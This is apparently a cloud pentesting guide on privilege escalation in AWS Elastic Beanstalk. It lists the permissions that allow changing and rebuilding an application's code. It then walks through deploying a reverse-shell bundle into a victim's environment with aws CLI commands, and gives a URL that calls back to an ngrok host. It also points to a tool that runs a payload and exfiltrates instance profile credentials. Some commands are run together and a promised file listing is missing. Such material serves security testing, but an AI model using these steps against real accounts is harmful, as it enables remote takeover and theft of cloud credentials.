In order to perform sensitive actions in Beanstalk you will need to have a lot of sensitive permissions in a lot of different services. You can check for example the permissions given to arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, S3 write permissions & many others
With write permissions over the S3 bucket containing the code of the environment and permissions to rebuild the application (it's needed elasticbeanstalk:RebuildEnvironment and a few more related to S3 , EC2 and Cloudformation), you can modify the code, rebuild the app and the next time you access the app it will execute your new code, allowing the attacker to compromise the application and the IAM role credentials of it.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, and more...
The mentioned plus several S3, EC2, cloudformation ,autoscaling and elasticloadbalancing permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch.
First of all you need to create a legit Beanstalk environment with the code you would like to run in the victim following the previous steps. Potentially a simple zip containing these 2 files:
Once you have your own Beanstalk env running your rev shell, it's time to migrate it to the victims env. To so so you need to update the Bucket Policy of your beanstalk S3 bucket so the victim can access it (Note that this will open the Bucket to EVERYONE):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.